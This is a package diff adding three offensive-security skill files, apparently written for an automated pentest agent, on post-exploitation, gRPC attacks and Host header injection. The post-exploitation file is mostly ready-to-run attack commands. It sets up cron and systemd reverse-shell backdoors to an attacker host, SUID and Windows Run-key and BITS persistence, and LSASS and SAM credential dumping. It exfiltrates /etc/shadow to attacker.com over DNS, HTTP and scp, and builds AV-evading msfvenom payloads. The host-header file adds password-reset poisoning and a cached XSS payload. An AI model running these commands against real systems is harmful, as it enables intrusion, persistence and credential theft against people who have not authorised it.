@aegis-scan/skills 0.5.0 → 0.5.2

package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md

@@ -0,0 +1,286 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: exploitation
+description: Post-exploitation methodology covering shell stabilization, lateral movement, persistence, credential harvesting, and container escape
+---
+
+# Exploitation & Post-Exploitation
+
+Getting a shell is the beginning, not the end. This skill covers what to do after initial access: stabilize, enumerate, escalate, persist, and pivot. See also: `privilege_escalation` skill for full privesc coverage.
+
+---
+
+## Shell Stabilization
+
+Raw reverse shells are fragile. Stabilize immediately:
+
+    # Python PTY (most reliable)
+    python3 -c "import pty; pty.spawn('/bin/bash')"
+    # Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
+
+    # Script method
+    script /dev/null -c bash
+
+    # Socat full TTY (if socat available on target)
+    # Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444
+    # Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker>:4444
+
+### Shell Upgrade One-Liner
+
+    python3 -c "import pty;pty.spawn('/bin/bash')" && export TERM=xterm
+
+### Fixing Terminal Size
+
+    # On attacker: stty size → get rows cols (e.g., 50 220)
+    # On target shell:
+    stty rows 50 cols 220
+
+---
+
+## Persistence
+
+### Linux Persistence
+
+    # SSH authorized_keys
+    mkdir -p ~/.ssh && echo "<attacker_pubkey>" >> ~/.ssh/authorized_keys
+    chmod 600 ~/.ssh/authorized_keys
+
+    # Cron job (every minute callback)
+    (crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/<attacker>/<port> 0>&1") | crontab -
+
+    # Systemd service (if root)
+    cat > /etc/systemd/system/backdoor.service << EOF
+    [Unit]
+    Description=System Health Monitor
+    [Service]
+    ExecStart=/bin/bash -c "bash -i >& /dev/tcp/<attacker>/<port> 0>&1"
+    Restart=always
+    RestartSec=30
+    [Install]
+    WantedBy=multi-user.target
+    EOF
+    systemctl enable backdoor && systemctl start backdoor
+
+    # SUID shell backdoor (root required)
+    cp /bin/bash /tmp/.hidden_bash
+    chmod +s /tmp/.hidden_bash
+    # Execute: /tmp/.hidden_bash -p
+
+    # LD_PRELOAD backdoor (root required)
+    # Write shared library that adds backdoor user to /etc/passwd on any process start
+
+### Windows Persistence
+
+    # Registry Run key
+    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater \
+      /t REG_SZ /d "C:\Temp\shell.exe" /f
+
+    # Scheduled task
+    schtasks /create /tn "SystemUpdate" /tr "C:\Temp\shell.exe" \
+      /sc onlogon /ru System /f
+
+    # WMI subscription (stealthy, survives reboots)
+    # Create event filter + consumer + binding via PowerShell
+
+    # BITS job
+    bitsadmin /create /download updater
+    bitsadmin /addfile updater http://<attacker>/shell.exe C:\Temp\shell.exe
+    bitsadmin /setnotifycmdline updater C:\Temp\shell.exe NUL
+    bitsadmin /setminretrydelay updater 60
+    bitsadmin /resume updater
+
+---
+
+## Credential Harvesting
+
+### Linux
+
+    # /etc/shadow (if readable — need root or shadow group)
+    cat /etc/shadow
+
+    # Bash/shell history
+    cat ~/.bash_history
+    cat ~/.zsh_history
+    find / -name ".*_history" 2>/dev/null
+
+    # SSH private keys
+    find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | xargs ls -la 2>/dev/null
+
+    # Config files with credentials
+    find / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null | \
+      xargs grep -lE "password|passwd|secret|key|token" 2>/dev/null
+
+    # Database configs
+    find / -name "wp-config.php" -o -name "database.yml" -o -name "settings.py" \
+          -o -name "application.properties" 2>/dev/null
+
+    # In-memory credentials (root required)
+    strings /dev/mem 2>/dev/null | grep -iE "pass|password"
+
+### Windows Credential Extraction
+
+    # SAM/SYSTEM (local hashes)
+    reg save HKLM\SAM C:\Temp\sam.hive && reg save HKLM\SYSTEM C:\Temp\system.hive
+    # Transfer to attacker: impacket-secretsdump LOCAL -sam sam.hive -system system.hive
+
+    # LSASS dump (requires admin)
+    # Method 1: Task Manager → Details → lsass.exe → Create dump file
+    # Method 2: procdump
+    procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
+    # Method 3: comsvcs.dll (no extra tool)
+    rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass_pid> C:\Temp\lsass.dmp full
+
+    # Parse LSASS dump locally with Mimikatz
+    .\mimikatz.exe "sekurlsa::minidump C:\Temp\lsass.dmp" "sekurlsa::logonpasswords" "exit"
+
+    # Credential Manager
+    cmdkey /list
+    vaultcmd /listcreds:"Windows Credentials" /all
+
+    # Browser credentials (SQLite DBs)
+    copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\Temp\chrome_creds.db
+
+---
+
+## Lateral Movement
+
+### Linux/Unix Pivot
+
+    # SSH agent hijacking (if SSH_AUTH_SOCK in env)
+    SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh user@nexthost
+
+    # SSH via compromised host (proxyjump)
+    ssh -J compromised_host target_host
+
+    # Port forwarding
+    # Local forward: access target's port 8080 via attacker's localhost:8080
+    ssh -L 8080:internal_host:80 user@pivot
+
+    # SOCKS5 proxy via SSH
+    ssh -D 9050 user@pivot
+    proxychains nmap -sT internal_network/24
+
+    # Chisel reverse proxy
+    # Attacker: chisel server -p 9999 --reverse
+    # Target: chisel client <attacker>:9999 R:socks
+
+### Windows Lateral Movement
+
+    # PsExec
+    impacket-psexec <domain>/<user>:<pass>@<target>
+    # Or: .\PsExec.exe \\<target> -u <user> -p <pass> cmd
+
+    # WMI (stealthier than PsExec)
+    impacket-wmiexec <domain>/<user>:<pass>@<target>
+    wmic /node:<target> /user:<user> /password:<pass> process call create "cmd.exe /c <command>"
+
+    # WinRM (if open on port 5985/5986)
+    impacket-wmiexec <domain>/<user>:<pass>@<target> -codec utf-8
+    evil-winrm -i <target> -u <user> -p <pass>
+
+    # Pass-the-Hash
+    impacket-psexec <domain>/<user>@<target> -hashes :<ntlm_hash>
+    netexec smb <target> -u <user> -H <ntlm_hash> -x "whoami"
+
+---
+
+## Data Exfiltration
+
+    # via DNS (stealthy, bypasses egress filtering)
+    # Encode data in DNS labels
+    data=$(cat /etc/passwd | base64 | tr -d '\n')
+    for chunk in $(echo $data | fold -w 60); do
+        nslookup $chunk.attacker.com &>/dev/null
+    done
+
+    # via HTTP POST (fast, noisy)
+    curl -X POST https://attacker.com/upload \
+      -F "file=@/etc/shadow" \
+      -F "host=$(hostname)"
+
+    # via SCP (if SSH outbound allowed)
+    scp /etc/shadow attacker@attacker.com:/tmp/
+
+    # Windows: certutil base64 encode + HTTP
+    certutil -encodehex -f C:\Users\user\secret.txt C:\Temp\encoded.txt 4
+    curl -X POST https://attacker.com -d @C:\Temp\encoded.txt
+
+---
+
+## Payload Generation
+
+    # Linux ELF reverse shell
+    msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f elf > shell.elf
+    chmod +x shell.elf
+
+    # Windows reverse shell (stageless — no internet needed from target)
+    msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f exe > shell.exe
+
+    # Web shells
+    msfvenom -p php/reverse_php LHOST=<ip> LPORT=443 -f raw > shell.php
+    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=443 -f raw > shell.jsp
+
+    # Obfuscated via XOR encode (evade basic AV)
+    msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f exe \
+      -e x64/xor_dynamic -i 5 > shell_enc.exe
+
+    # Listener (simple)
+    nc -lvnp 443
+
+    # Metasploit multi/handler (for staged payloads)
+    msfconsole -q -x "use exploit/multi/handler; \
+      set PAYLOAD linux/x64/shell_reverse_tcp; \
+      set LHOST <ip>; set LPORT 443; run"
+
+---
+
+## Container Escape (Quick Reference)
+
+Full coverage in `privilege_escalation` skill. Key checks:
+
+    cat /proc/1/cgroup | grep -i docker
+    ls /.dockerenv && echo "in Docker"
+    cat /proc/self/status | grep CapEff  # high value = privileged
+
+    # Privileged container — mount host
+    mount /dev/sda1 /mnt && chroot /mnt bash
+
+    # Docker socket
+    ls -la /var/run/docker.sock && \
+      docker -H unix:///var/run/docker.sock run -it --rm -v /:/mnt alpine chroot /mnt sh
+
+---
+
+## Evidence Collection (Before Cleanup)
+
+    # System information
+    hostname; id; uname -a; ip a; netstat -tulpn > output/sysinfo.txt
+
+    # Users and auth
+    cat /etc/passwd /etc/shadow /etc/sudoers >> output/sysinfo.txt 2>/dev/null
+
+    # Network
+    arp -a; cat /etc/hosts; route -n >> output/network.txt
+
+    # Processes and services
+    ps auxf; systemctl list-units --type=service >> output/services.txt
+
+    # Interesting files found
+    find / -name "*.key" -o -name "*.pem" -o -name ".env" 2>/dev/null > output/interesting_files.txt
+
+---
+
+## Pro Tips
+
+1. Stabilize shell before anything else — losing a session mid-exploit is unacceptable
+2. Persistence first, then enumerate — if connection drops, you can get back
+3. Save every credential found immediately to output/credentials.txt — they'll be needed for lateral movement
+4. Use OAST callbacks (curl/DNS) for blind execution confirmation before interactive shell
+5. `env` and `.env` files are the #1 source of high-value credentials — check before anything else
+6. Port forwarding to internal services is more valuable than a root shell that can't reach anything
+7. Document every step — screenshot `id`, `hostname`, `ip a` — needed for report and chain of custody
+
+## Summary
+
+Post-exploitation is a race: stabilize → persist → harvest credentials → move laterally → escalate. Each phase feeds the next. Evidence collection at every host builds the attack chain needed for a complete pentest report.

package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md

@@ -0,0 +1,123 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: grpc
+description: Exploitation techniques for gRPC services, targeting Protobuf serialization, HTTP/2 misconfigurations, and method enumeration.
+---
+
+# gRPC Vulnerabilities
+
+gRPC is a high-performance, open-source universal RPC framework developed by Google. By default, it uses HTTP/2 for transport, Protocol Buffers (Protobuf) for the interface definition language (IDL) and data serialization, and provides features like bidirectional streaming. Because data is serialized in a binary format rather than plaintext (like JSON/XML), testing tools need specific support, and many standard Web Application Firewalls (WAFs) fail to inspect the payload accurately.
+
+## Core Concepts & Structure
+
+- **Protocol Buffers (Protobuf):** The schema definition language used by gRPC to define services, methods, and message types (`.proto` files). Data transmitted over the wire relies entirely on numerical field IDs and binary encoding, meaning the field names themselves are absent from the request payload.
+- **HTTP/2 Transport:** gRPC requests are always POST requests over HTTP/2. The URI path dictates the method being invoked (`/{Service_Name}/{Method_Name}`).
+- **Content-Type:** `application/grpc` or `application/grpc+proto`.
+- **Server Reflection:** An optional extension that allows clients to query the server for its Protobuf definitions dynamically at runtime.
+
+---
+
+## 1. Reconnaissance & Enumeration
+
+The biggest hurdle in testing gRPC is understanding the structure of the binary data. Without the `.proto` file, modifying payloads blindly usually corrupts the binary structure and results in a generic `INVALID_ARGUMENT` error.
+
+### A. Server Reflection
+
+If the developer left gRPC Server Reflection enabled (common in development/staging, critically bad in production), you can dump the entire API schema.
+
+**Using `grpcurl`:**
+```bash
+# List all available services on the target
+grpcurl -plaintext target.com:50051 list
+
+# List all methods within a specific service
+grpcurl -plaintext target.com:50051 list com.example.UserService
+
+# Describe a specific method to see expected input/output message schemas
+grpcurl -plaintext target.com:50051 describe com.example.UserService.GetUser
+```
+
+### B. Protobuf Extraction without Reflection
+
+If reflection is disabled, you must extract the `.proto` definitions from the client-side binary or application.
+
+- **Web Clients (gRPC-Web):** Analyze the minified JavaScript. Search for structural maps, object definitions, or embedded `.proto` definitions. Use tools like `protobuf-inspector` or `protoc-gen-js` logic to reverse-engineer field numbers to conceptual data structures.
+- **Mobile Apps (Android/iOS):** the `.proto` structure is compiled directly into the binary. Use decompilers (e.g., `jadx-gui` for Android) to search for classes extending `com.google.protobuf.GeneratedMessageV3`. The class names and methods reveal the API structure.
+
+---
+
+## 2. Exploiting gRPC Endpoints
+
+Once the schema is known (via reflection or extraction), gRPC endpoints can be tested similarly to standard REST APIs, albeit requiring different tools for payload delivery.
+
+### A. Bypassing WAFs via Binary Serialization
+
+Many WAFs completely fail to inspect the body of requests with `Content-Type: application/grpc`.
+
+-   **SQL Injection:** Because the data is deserialized safely into typed objects by Protobuf, generic SQLi payloads *might* bypass the parsing phase, but if that data later constructs raw SQL queries dynamically on the backend (e.g., using Hibernate `createNativeQuery` or unsafe Go SQL drivers without parameterization), SQLi is still fully possible. Inject standard SQLi payloads (`' OR 1=1 --`) via gRPC clients.
+-   **Command Injection / XSS:** Similar to SQLi, the transport layer is secure, but if the backend echoes strings to a database, command line, or returning HTML, injections are viable.
+
+### B. Broken Object Level Authorization (BOLA/IDOR)
+
+Protobuf relies heavily on structured identifiers.
+
+1.  Use `grpcurl` or Burp Suite to capture a valid request.
+2.  Identify ID fields (e.g., `user_id: 100`).
+3.  Modify the ID field to target another user. Because the data structure strongly enforces types (an `int32` must remain an `int32`), simply incrementing numerical IDs is highly effective.
+4.  Unlike HTTP where `?id=100&id=101` might cause parameter pollution, Protobuf handles duplicate fields based on the repeated modifier. Testing HPP requires understanding the schema.
+
+### C. Type Confusion & Logic Flaws
+
+Protobuf strongly types fields (int, string, bool).
+- What happens if you submit a massive integer that causes an overflow on the backend service receiving the deserialized data?
+- If an enum is defined (e.g., `USER = 0, ADMIN = 1`), manually craft a payload using `grpcurl` supplying an undocumented enum value (e.g., `2`) to test backend exception handling.
+
+### D. Server-Side Request Forgery (SSRF)
+
+If a gRPC method takes a string representing a URL or hostname (e.g., `FetchExternalImage(ImageRequest)`), test for SSRF. The backend execution is identical to standard web vulnerabilities; only the delivery mechanism is gRPC.
+
+---
+
+## 3. HTTP/2 Specific Flaws
+
+Because gRPC mandates HTTP/2, all HTTP/2 vulnerabilities apply to the underlying connection handling.
+
+### A. Denial of Service (DoS)
+
+- **HTTP/2 Request Smuggling:** If there's a reverse proxy downgrading HTTP/2 gRPC traffic to internal HTTP/1.1 REST endpoints (e.g., using envoy or grpc-gateway), test for HTTP/2 desynchronization attacks.
+- **Rapid Reset (CVE-2023-44487):** The client sends hundreds of `HEADERS` frames to initiate streams and immediately sends `RST_STREAM` frames. The server allocates resources for the request but the client abruptly cancels, exhausting server capabilities very quickly without triggering standard rate limiters.
+- **Max Concurrent Streams Exhaustion:** Open multiple HTTP/2 connections and max out the allowed concurrent streams per connection.
+
+---
+
+## 4. Reverse Proxy and Gateway Issues
+
+Often, developers use tools like `grpc-gateway` to provide a RESTful JSON API *alongside* the native gRPC API.
+
+-   **Testing Both Interfaces:** If the main application consumes gRPC directly, you should *also* test the REST gateway (if exposed). Sometimes, access controls implemented correctly on the gRPC interceptors are missing entirely on the HTTP/JSON gateway routes, or vice versa.
+-   **Header Leakage:** gRPC uses HTTP headers as "Metadata" (e.g., `grpc-metadata-authorization`). Reverse proxies might improperly forward internal metadata headers, allowing attackers to inject headers that assume administrative context.
+
+## Tooling & Methodology
+
+### Burp Suite Integration
+You must install specific extensions to read and modify gRPC traffic effectively.
+- **gRPC (Burp Extension):** Automatically decodes protobuf payloads if the server supports reflection, allowing you to edit values in standard JSON format within Repeater, and then reserializing it to binary before sending.
+- **Black-box Protobuf editing:** If reflection is disabled, the `gRPC` extension will show field numbers (e.g., `1: "admin"`) instead of field names. You can still modify the values (e.g., changing "admin" to "root") without breaking the serialization.
+
+### Command Line Tools
+
+```bash
+# grpcurl - Like cURL, but for gRPC
+grpcurl -plaintext -d '{"user_id": "123"}' target.com:50051 com.example.UserService.DeleteUser
+
+# ghz - A load testing tool for gRPC, excellent for testing DoS resilience
+ghz --insecure --proto ./schema.proto --call com.example.UserService.GetUser -d '{"id": 1}' -c 50 -n 1000 target.com:50051
+```
+
+## Critical Pro Tips
+
+1.  **gRPC Status Codes vs HTTP Status Codes:** A gRPC request that fails business logic (e.g., "Account not found") will usually return an HTTP status of `200 OK`, but the gRPC-specific header `grpc-status` will be set to `5 (NOT_FOUND)` and `grpc-message` will contain the error string. Always look at the trailers, not just the HTTP status.
+2.  **Streaming Endpoints:** gRPC supports client-streaming, server-streaming, and bidirectional streaming. Tools like Burp Repeater struggle with streaming endpoints. You often need custom Python scripts using the `grpcio` library and the extracted `.proto` files to test stream-specific race conditions or logic flaws accurately.
+3.  **Authentication Metadata:** Authentication tokens (JWTs, API Keys) are almost always passed in the `authorization` metadata header, which maps directly to the HTTP header.
+4.  **Information Disclosure in Errors:** When gRPC services crash or fail validation gracefully, they tend to return highly verbose error messages in the `grpc-message` trailer, frequently leaking backend stack traces or database schema details.

package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md

@@ -0,0 +1,169 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: host-header-injection
+description: Host header injection — password reset poisoning, cache poisoning via Host header, SSRF via Host, routing bypass, and web cache deception using manipulated Host headers
+---
+
+# Host Header Injection
+
+Host header injection = manipulating the HTTP `Host` header to poison password resets, bypass routing, perform SSRF, or poison caches. One of the most common high-severity bug bounty findings.
+
+---
+
+## Detection — Testing Host Header Manipulation
+
+    # Basic test — replace Host header:
+    curl -H "Host: attacker.com" http://target.com/
+    # If response references attacker.com → vulnerable
+
+    # Add X-Forwarded-Host:
+    curl -H "Host: target.com" -H "X-Forwarded-Host: attacker.com" http://target.com/
+    curl -H "X-Forwarded-Host: attacker.com" http://target.com/
+
+    # Add X-Host:
+    curl -H "X-Host: attacker.com" http://target.com/
+
+    # Duplicate Host header:
+    curl -H "Host: target.com" -H "Host: attacker.com" http://target.com/
+    # First or last header wins depending on server
+
+    # Absolute URL bypass:
+    GET http://attacker.com/ HTTP/1.1
+    Host: target.com
+
+    # Port confusion:
+    curl -H "Host: target.com:@attacker.com" http://target.com/
+    curl -H "Host: target.com: attacker.com" http://target.com/
+
+---
+
+## Password Reset Poisoning
+
+**Highest-impact** use case: if password reset email contains `Host` header value in reset URL:
+
+    # Test: request password reset while injecting Host:
+    curl -X POST http://target.com/forgot-password \
+      -H "Host: attacker.com" \
+      -H "Content-Type: application/x-www-form-urlencoded" \
+      -d "email=victim@target.com"
+
+    # If email contains: "Click here to reset: https://attacker.com/reset?token=xxx"
+    # → attacker receives the reset token → account takeover
+
+    # Try with X-Forwarded-Host (often trusted more):
+    curl -X POST http://target.com/forgot-password \
+      -H "Host: target.com" \
+      -H "X-Forwarded-Host: attacker.com" \
+      -d "email=victim@target.com"
+
+    # Confirm with interactsh (OOB detection):
+    # interactsh-client -v → get unique URL
+    # Replace attacker.com with your interactsh domain:
+    curl -X POST http://target.com/forgot-password \
+      -H "X-Forwarded-Host: <unique>.oast.fun" \
+      -d "email=test@target.com"
+    # If DNS/HTTP hit received → vulnerable
+
+---
+
+## Web Cache Poisoning via Host Header
+
+Cache stores response keyed to URL only (not Host) → serve poisoned response to all users:
+
+    # Inject Host header that adds malicious content to response:
+    curl -H "Host: target.com" -H "X-Forwarded-Host: \" onmouseover=\"alert(1)" \
+      http://target.com/
+
+    # If server reflects Host in response (e.g., in canonical URL, meta refresh):
+    # <link rel="canonical" href="//attacker.com/page"/>
+    # This cached response → XSS for all users loading the cached page
+
+    # Check if response is cached:
+    curl -v http://target.com/ | grep -i "cache\|x-cache\|age\|cf-cache"
+    # X-Cache: HIT = cached
+    # Age: N = N seconds old cache
+
+---
+
+## SSRF via Host Header
+
+    # If application makes backend requests using Host header value:
+    curl -H "Host: 169.254.169.254" http://target.com/
+    curl -H "Host: localhost" http://target.com/
+    curl -H "Host: internal-service.corp" http://target.com/
+
+    # AWS metadata via Host header SSRF:
+    curl -H "Host: 169.254.169.254" http://target.com/latest/meta-data/
+
+    # Check response: if internal content returned → SSRF via Host header
+
+---
+
+## Routing Bypass (Virtual Host Switching)
+
+    # Try accessing admin vhost via Host header on same IP:
+    curl -H "Host: admin.internal" http://<target_ip>/
+    curl -H "Host: localhost" http://<target_ip>/
+    curl -H "Host: 127.0.0.1" http://<target_ip>/
+
+    # Find internal vhosts:
+    ffuf -u http://<target_ip>/ -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>
+    ffuf -u http://<target_ip>/ -H "Host: FUZZ" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
+
+---
+
+## Ambiguous Host Header (Request Smuggling Connection)
+
+    # Duplicate headers to confuse front-end vs back-end:
+    POST / HTTP/1.1
+    Host: target.com
+    Host: attacker.com
+
+    # Combined with HTTP request smuggling (see http_smuggling.md)
+
+---
+
+## Headers to Test (Beyond Host)
+
+    X-Forwarded-Host: attacker.com
+    X-Host: attacker.com
+    X-Original-Host: attacker.com
+    X-Forwarded-Server: attacker.com
+    X-HTTP-Host-Override: attacker.com
+    Forwarded: host=attacker.com
+
+    # Test each header:
+    for header in "X-Forwarded-Host" "X-Host" "X-Original-Host" "X-Forwarded-Server" "X-HTTP-Host-Override"; do
+        echo "Testing $header:";
+        curl -s -H "$header: attacker.com" http://target.com/ | grep -i "attacker";
+    done
+
+---
+
+## Automated Testing
+
+    # nuclei:
+    nuclei -t http/vulnerabilities/generic/host-header-injection.yaml -u http://target.com/
+
+    # headi (host header injection scanner):
+    # go install github.com/mlcsec/headi@latest
+    headi -u http://target.com/
+
+    # Manual ffuf for vhost discovery:
+    ffuf -u http://target.com/ -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs <normal_size>
+
+---
+
+## Pro Tips
+
+1. Password reset + Host injection = **account takeover** — highest impact finding, test on every password reset endpoint
+2. Always test `X-Forwarded-Host` — many apps trust this over `Host` for "flexibility"
+3. Use interactsh for blind detection — sends OOB DNS/HTTP ping that confirms injection without reflection
+4. Cache poisoning requires the poisoned content to actually be cached — check `X-Cache: HIT`
+5. Combined with XSS: inject `"><script src=//attacker.com/xss.js>` as Host → cached XSS for all users
+6. vHost brute force via ffuf finds hidden admin panels and staging environments
+
+## Summary
+
+Host header injection testing: Replace `Host: target.com` with `X-Forwarded-Host: attacker.com` → trigger password reset → check email for attacker domain in link. Also test for SSRF (`Host: 169.254.169.254`), vhost switching, and cache poisoning. Use interactsh for OOB blind detection. Password reset poisoning = ATO with no victim interaction.